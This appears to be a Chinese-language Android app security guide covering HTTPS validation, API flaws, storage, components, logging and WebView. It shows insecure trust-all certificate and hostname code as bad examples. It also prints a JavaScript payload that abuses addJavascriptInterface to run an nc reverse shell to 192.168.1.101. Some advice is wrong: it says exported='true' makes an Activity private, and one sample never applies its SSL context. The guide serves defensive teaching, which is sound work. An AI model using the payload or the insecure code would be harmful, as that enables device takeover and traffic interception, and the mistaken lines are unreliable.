隨着移動互聯網的發展,各大傳統保險公司和銀行金融公司都開發了自己的App,那麼App的信息安全就變得非常重要了。如果App的安全級別不夠那麼會發生隱私泄露,更重要的會產生財產損失。下面我將從下面五點來考慮app的信息安全。
一、網絡傳輸安全
分爲三種方式:
1. 自定義Socket通信
需要自定義數據加密方式,選擇加密算法,選擇祕鑰管理模式等等,在實現細節上需要考慮加密算法的實現機制、加密性能、祕鑰的安全管理等。
2. Http通信
- 數據傳輸是明文的,直接可以採用Charles等工具攔截數據。
- http如果連接域名,可以通過DNS欺騙的方式將用戶引入釣魚網站。
3. Https通信
https客戶端需要驗證服務器下發證書的有效性。如果客戶端忽略驗證,就存在被中間人攻擊的可能,
1. 使用WebView進行Https通信
1. 使用可信任機構頒發的證書
Android內置了一些可信任機構頒發的證書,可用於Https證書校驗。WebView對可信任證書進行校驗也是系統默認去做的。繼承WebViewClient類重寫如下方法:
public void onReceivedSslError(WebView view, SslErrorHandler handler, SslError error) {
super.onReceivedSslError(view, handler, error);
//如下是錯誤的代碼,相當於忽略證書校驗
//handler.proceed();
//帶有可信任機構頒發證書的Https站點這個方法中無需做任何操作。
}
2. 自簽名證書
自簽名的證書WebView加載網頁會報錯我們需要覆蓋onReceivedSslError方法進行自簽名證書的校驗,點擊這裏查看
2. 使用HttpClient或HttpsURLConnection進行Https通信
對於僅需要獲取Https站點返回數據,通常用HttpClient和HttpsURLConnection通信,證書校驗有兩個重要的類:X509TrustManager和HostnameVerifier,前者用於證書校驗,後者用於域名校驗。
1.X509TrustManager
1. 信任所有證書
如果信任所有證書,那麼https將失去作用,攻擊者可以使用自簽名證書,來進行中間人攻擊,拿到通信的數據。也可以結合DNS欺騙,是用戶訪問惡意網站,造成信息泄露。
如下錯誤的例子:
private static class TrustAllCAManager implements X509TrustManager {
@Override
public void checkClientTrusted(X509Certificate[] chain, String authType)
throws CertificateException {
//不做任何校驗
}
@Override
public void checkServerTrusted(X509Certificate[] chain, String authType)
throws CertificateException {
//不做任何校驗
}
@Override
public X509Certificate[] getAcceptedIssuers() {
//不做任何校驗
return new X509Certificate[0];
}
}
2. 信任可信機構頒發的Https證書
開發者無需實現X509TrustManager接口,Android可以使用系統自帶的證書校驗機制,如下代碼:
SSLContext sslContext = SSLContext.getInstance("TLS");
sslContext.init(null, null, new SecureRandom());
HttpsURLConnection.setDefaultSSLSocketFactory(sslContext.getSocketFactory());
//上面代碼都是默認代碼,可信任機構頒發的CA證書可以不用寫上面代碼直接用如下代碼進行網絡請求,Android系統會自動校驗
HttpsURLConnection httpsURLConnection = (HttpsURLConnection) new URL("url").openConnection();
3. 信任自簽名Https證書
如果是自簽名的證書,那麼只能手動實現X509TrustManager接口來信任證書,如下代碼:
public static KeyStore getKeyStore() {
//多個證書,有的時候因爲證書過期需要客戶端適配
String[] certs = new String[]{CERT, CERT1, CERT2};
try {
String keyStoreType = KeyStore.getDefaultType();
KeyStore keyStore = KeyStore.getInstance(keyStoreType);
keyStore.load(null, null);
for (int i = 0; i < certs.length; i++) {
InputStream inputStream = new ByteArrayInputStream(certs[i].getBytes("UTF-8"));
CertificateFactory cf = CertificateFactory.getInstance("X.509");
Certificate ca = null;
try {
ca = cf.generateCertificate(inputStream);
// System.out.println("ca=" + ((X509Certificate) ca).getSubjectDN());
} catch (Exception e) {
e.printStackTrace();
} finally {
inputStream.close();
}
if (null != ca) {
keyStore.setCertificateEntry("ca" + i, ca);
}
}
return keyStore;
} catch (Exception e) {
e.printStackTrace();
}
return null;
}
public static void trustCertificate(HttpsURLConnection httpsURLConnection) {
try {
KeyStore keyStore = getKeyStore();
String tmfAlgorithm = TrustManagerFactory.getDefaultAlgorithm();
TrustManagerFactory tmf = TrustManagerFactory.getInstance(tmfAlgorithm);
tmf.init(keyStore);
final SSLContext sslContext = SSLContext.getInstance("TLS");
sslContext.init(null, tmf.getTrustManagers(), null);
} catch (Exception e) {
e.printStackTrace();
}
}
1.HostnameVerifier
用於實現Https通信中域名安全校驗,驗證當前鏈接的Https的站點和SSL證書中的域名是否相等。
錯誤代碼:
client.setHostnameVerifier(new HostnameVerifier() {
@Override
public boolean verify(String hostname, SSLSession sslSession) {
//不做任何驗證直接返回true
return true;
}
});
//使用自帶不安全的HostnameVerifier,如下代碼 httpsURLConnection.setHostnameVerifier(org.apache.http.conn.ssl.SSLSocketFactory.ALLOW_ALL_HOSTNAME_VERIFIER);
正確代碼:
request.setHostnameVerifier(new HostnameVerifier() {
@Override
public boolean verify(String hostname, SSLSession session) {
// TODO Auto-generated method stub
try {
String peerHost = session.getPeerHost(); //服務器返回的主機名
String str_new = "";
X509Certificate[] peerCertificates = (X509Certificate[]) session
.getPeerCertificates();
for (X509Certificate certificate : peerCertificates) {
X500Principal subjectX500Principal = certificate
.getSubjectX500Principal();
String name = subjectX500Principal.getName();
String[] split = name.split(",");
for (String str : split) {
if (str.startsWith("CN")) {//證書綁定的域名或者ip
if (peerHost.equals(hostname)&&str.contains("客戶端預埋的證書cn字段域名")) {
return true;
}
}
}
}
} catch (SSLPeerUnverifiedException e1) {
// TODO Auto-generated catch block
e1.printStackTrace();
}
return false;
}
});
//使用自帶的安全的HostnameVerifier
httpsURLConnection.setHostnameVerifier(org.apache.http.conn.ssl.SSLSocketFactory.STRICT_HOSTNAME_VERIFIER);
3. 接口漏洞
- 假如用戶User在某電商App上的訂單詳情爲http://www.xxxx.com/orderdetail?orderid=123, 如果接口沒有對登錄信息做驗證(登錄Token),只憑借一個orderid獲取數據,那麼攻擊者就可以從orderid=0開始一直遍歷到9999,那麼將會造成大量的訂單信息泄露。
- 假如增加積分接口沒有進行校驗,那麼我抓到一個增加積分的接口,偷換裏面的userid,那麼很多沒有完成任務的用戶都被加上積分了,造成公司的損失。
- 如果驗證碼沒有次數控制,也沒有識別是人操作還是機器操作,那麼極容易形成短信轟炸。
登錄流程:
- 不允許在app本地保存用戶名和密碼
- 登錄驗證通過後服務器下發token,客戶端使用token進行身份驗證
- token應該保存在app的內部存儲空間中,不允許其他app訪問。
- 登錄接口要增加驗證碼且控制短信下發次數。
二、本地緩存安全
1. 敏感信息
敏感信息泄漏有可能會危害到用戶的財產損失和隱私泄漏,敏感信息大概有如下幾個方面:
用戶信息:姓名,身份證,生日,手機號,銀行卡號,持卡人,有效期,驗證碼(CAV2/CVV2/CVC2/CID),卡號後四位
訂單信息:訂單列表,訂單詳情,收件人信息,被保險人信息
卡券信息:各種優惠卡,打折卡,禮品卡
日誌信息:登錄、行爲、token等私有日誌
- 不允許將密碼、卡券信息、支付相關信息保存在本地
- 理論上是不允許敏感信息保存在本地的,但是由於有些信息使用非常頻繁,如果確定要保存在本地那麼只能保存到私有存儲空間裏,並且使用AES256加密算法進行加密。
- app端顯示敏感信息,請將敏感信息部分脫敏,常用的就是加*屏蔽處理。
2. 外部存儲(external storage)
敏感信息不允許保存在外部存儲。外部存儲分三種形式:
- Environment.getExternalStorageDirectory().getAbsoluteFile()+ File.separator +"CustomDir" + File.separator + "CustomFileName";用這種方式存儲數據,不會被應用詳情中的”清除數據“和”清除緩存“刪除。App卸載也不會被Android系統自動刪除。
- mContext.getExternalFilesDir(null).getAbsoluteFile()+ File.separator +"CustomDir" + File.separator + "CustomFileName";這種方式存儲數據,會被”清除數據“所刪除,App卸載也會被Android系統自動刪除。路徑爲/Sdcard/Android/data/<package>/files/<customfile>
- mContext.getExternalCacheDir().getAbsoluteFile()+ File.separator +"CustomDir" + File.separator + "CustomFileName";這種方式存儲數據,會被”清除緩存“所刪除,App卸載也會被Android系統自動刪除。路徑爲/Sdcard/Android/data/<package>/cache/<customfile>
3. 內部存儲(internal storage)
內部存儲路徑/data/data/<package>。通過context.getFilesDir()或context.getCacheDir()獲取路徑data/data/<package>/files或data/data/<package>/cache
- 存儲包含敏感信息的文件必須使用內部存儲
- 存儲模式必須設置MODE_PRIVATE
- 敏感信息必須加密且加密算法符合安全規範
4. 本地數據庫
- 數據庫保存在內部存儲中,並設置MODE_PRIVATE
- 如果要對其他app提供數據使用contentprovider
- SQL語句避免採用拼接參數的方式,採用參數化的方式ContentValues綁定參數
5. 圖片保存
1.保存圖片中包含用戶敏感信息,應該是用戶主動出發,並且提示用戶”圖片包含敏感信息,使用完請刪除“
2.保存路徑應該是系統相冊的目錄
三、源碼安全
1. Activity
activity如果使用不當會導致一些安全問題,例如:android:exported="true"的Activity如果返回了敏感信息,攻擊者就會輕鬆的吊起這個public activity來獲取隱私,或者攻擊者會給這個public activity傳遞髒數據,導致app崩潰。
activity分四個等級權限由高到底
1. 內部使用(private)
僅僅適用於app內部使用,外部app無法調用;將android:exported="true"設置成true這樣外部app就無法調用
2. 簽名相同(in-house)
1.定義權限如下代碼,調用activity必須符合如下權限
<permission android:name="com.xxx.xxx.XXX"
android:protectionLevel="signature"/>
2.聲明activity如下代碼,必須保證外部app可以調用android:exported=true,必須保證外部app調用時需要申請權限android:permission="com.xxx.xxx.XXX"
<activity android:name=".AActivity"
android:exported="true"
android:permission="com.xxx.xxx.XXX"/>
3.其他app調用這個Activity如下代碼
//AndroidManifest.xml申請權限
<uses-permission android:name="com.xxx.xxx.XXX"/>
//Activity校驗被調用的activity簽名是否一致
//如果一致調用Activity同時傳遞參數使用putExtra方式傳遞
if(checkSignSha1()){
//簽名相同,跳轉到Activity
//putExtra方式傳遞
}else{
//簽名不相同
}
private boolean checkSignSha1(){
String curSha1 = getSignSha1(this.getPackageName());
String partnerSha1 = getSignSha1("partner package");
return curSha1.equals(partnerSha1);
}
/**
* 開始獲得簽名
*
* @param packageName 報名
* @return
*/
private String getSignSha1(String packageName) {
Signature[] arrayOfSignature = getRawSignature(this, packageName);
if ((arrayOfSignature == null) || (arrayOfSignature.length == 0)) {
// errout("signs is null");
return null;
}
return getMessageDigest(arrayOfSignature[0].toByteArray());
}
private Signature[] getRawSignature(Context paramContext, String paramString) {
if ((paramString == null) || (paramString.length() == 0)) {
// errout("獲取簽名失敗,包名爲 null");
return null;
}
PackageManager localPackageManager = paramContext.getPackageManager();
PackageInfo localPackageInfo;
try {
localPackageInfo = localPackageManager.getPackageInfo(paramString, PackageManager.GET_SIGNATURES);
if (localPackageInfo == null) {
// errout("信息爲 null, 包名 = " + paramString);
return null;
}
} catch (PackageManager.NameNotFoundException localNameNotFoundException) {
// errout("包名沒有找到...");
return null;
}
return localPackageInfo.signatures;
}
public static final String getMessageDigest(byte[] cert) {
MessageDigest md = null;
try {
md = MessageDigest.getInstance("SHA1");
byte[] publicKey = md.digest(cert);
StringBuffer hexString = new StringBuffer();
for (int i = 0; i < publicKey.length; i++) {
String appendString = Integer.toHexString(0xFF & publicKey[i])
.toUpperCase(Locale.US);
if (appendString.length() == 1)
hexString.append("0");
hexString.append(appendString);
hexString.append(":");
}
String result = hexString.toString();
return result.substring(0, result.length() - 1);
} catch (NoSuchAlgorithmException e) {
e.printStackTrace();
}
return null;
}
3. 合作伙伴(partner)
該Activity只能被合作伙伴調用,我們在Activity.onCreate增加白名單機制,如果不符合白名單無法進入頁面。
1.android:exported=true
2.activity.oncreate 白名單校驗
4. 公開使用(public)
可以被任何app訪問,要小心控制輸入進來的數據:
1.android:exported=true
2.謹慎控制收到的Intent數據,不應該根據Intent中的數據來判斷後續的流程
3.不要返回敏感信息
2. Service
1. 內部Service(private)
1.android:exported=false
2.如果是推送消息最好使用內部Service,防止惡意軟件停掉推送
2. 外部Service(public)
1.android:exported=true
2.通過Intent傳遞敏感信息需要加密傳輸
3. ContentProvider
對contentprovider的使用也是需要注意的;敏感信息保存在 私有的contentprovider,否則會造成隱私泄露。
4. 日誌
1.Release版本不允許想LogCat中輸出任何日誌
2.Debug版本App打印信息只允許android.util.Log中的方法,不允許使用System.out和System.err相關方法打印
3.Debug如果要打印敏感信息需要加密
4.在導出Release中使用Proguard的配置文件來去掉Log
-assumenosideeffects class android.util.Log {
public static boolean isLoggable(java.lang.String, int);
public static int v(...);
public static int i(...);
public static int w(...);
public static int d(...);
public static int e(...);
}
四、WebView安全
1. JavascriptInterface導致遠程代碼漏洞
漏洞發生條件:
1.Android <=4.1.2 (API 16)
2.webview 開啓JavascriptInterface
3.WebView加載惡意Url頁面
假如:惡意網站加載包含如下js代碼的url頁面,在Javascript代碼中,利用Java反射機制,通過interfaceObject獲取當前Runtime對象引用,並調用其exec方法執行nc命令連接服務器8088及8089端口。
這只是其中攻擊手段之一,還可以給指定號碼發送短信等其他攻擊手段
<script type="text/javascript">
function check()
{
for (var obj in window)
{
try {
if ("getClass" in window[obj]) {
try{
ret= interfaceObject.getClass().forName("java.lang.Runtime").getMethod('getRuntime',null).invoke(null,null).exec(['/system/bin/sh','-c','nc 192.168.1.101 8088|/system/bin/sh|nc 192.168.1.101 8089']);
}catch(e){
}
}
} catch(e) {
}
}
} check();
</script>
如果必須開啓JavascriptInterface,那麼需要保證加載的url是安全的在每個native java代碼中進行安全校驗
2. WebView加載內部資源
1.apk內部資源文件
2.apk中公司信任的URL
安全規範:
1.不要加載除頁面資源以外的文件,setAllowFileAccess(false)
對於需要使用 file 協議的應用,禁止 file 協議加載 JavaScript
setAllowFileAccess(true);
// 禁止 file 協議加載 JavaScript
if (url.startsWith("file://") {
setJavaScriptEnabled(false);
} else {
setJavaScriptEnabled(true);
}
2.加載URL的時候使用Https協議
3.在WebViewClient.shouldOverrideUrlLoading中校驗url是否是白名單
@Override
public boolean shouldOverrideUrlLoading(WebView view, String url) {
if(isWhiteList()){
view.loadUrl(url);
}else{
//錯誤處理
}
return true;
}
3.WebView加載外部資源
1.apk外部文件
2.非信任的url
3.用戶指定的資源
安全規範:
1.沒有明確需求不要開啓Javascript支持(addJavascriptInterface),如果必須開啓那麼需要保證加載的url是安全的在每個native java代碼中進行安全校驗;
2.對於3.0版本只有的WebView默認內置了一些JavascriptInterface,分別是searchBoxJavaBridge_、accessibility、accessibilityTraversal,對於加載外部資源應該調用removeJavascriptInterface()方法刪除內置的三個JavascriptInterface對象
3.不要開啓瀏覽器插件支持setPluginState(WebSettings.PluginState.OFF);
4.不要開啓本地文件訪問setAllowFileAccess(false)
五、編譯級別安全
1.Release版本中android:allowBackup="false"
2.Release版本中android:debuggable="false"
3.對代碼進行混淆
4.對app進行加固例如:愛加密、360加固保等第三方工具
六、交互層面的安全
1.單點,或者多點登錄,不允許一個手機號無限制的登錄
2.敏感信息頁面用戶切換到後臺,後臺任務列表中應該是空白,不應該保留當前頁面的快照
3.敏感信息頁面展示脫敏
4.登錄手勢驗證,隔一段時間如果要進入敏感頁面需要彈出手勢驗證,如果不設置手勢最嚴格的控制需要短信驗證碼驗證
5.輸入法,因爲輸入法是第三方app,說以非常容易造成信息泄露的,身份信息,賬號密碼都是由輸入法輸入的,輸入法在系統層面時刻保持存活,可以採取自定義安全鍵盤,讓app使用自己的鍵盤並且每次彈出輸入法,或者App重新啓動安全鍵盤的字母順序都會改變等策略。
參考資料如下:
[android開發篇]自定義權限
Android Webview SSL 自簽名安全校驗解決方案
DNS欺騙攻擊
HTTPS連接過程以及中間人攻擊劫持
你不知道的 Android WebView 使用漏洞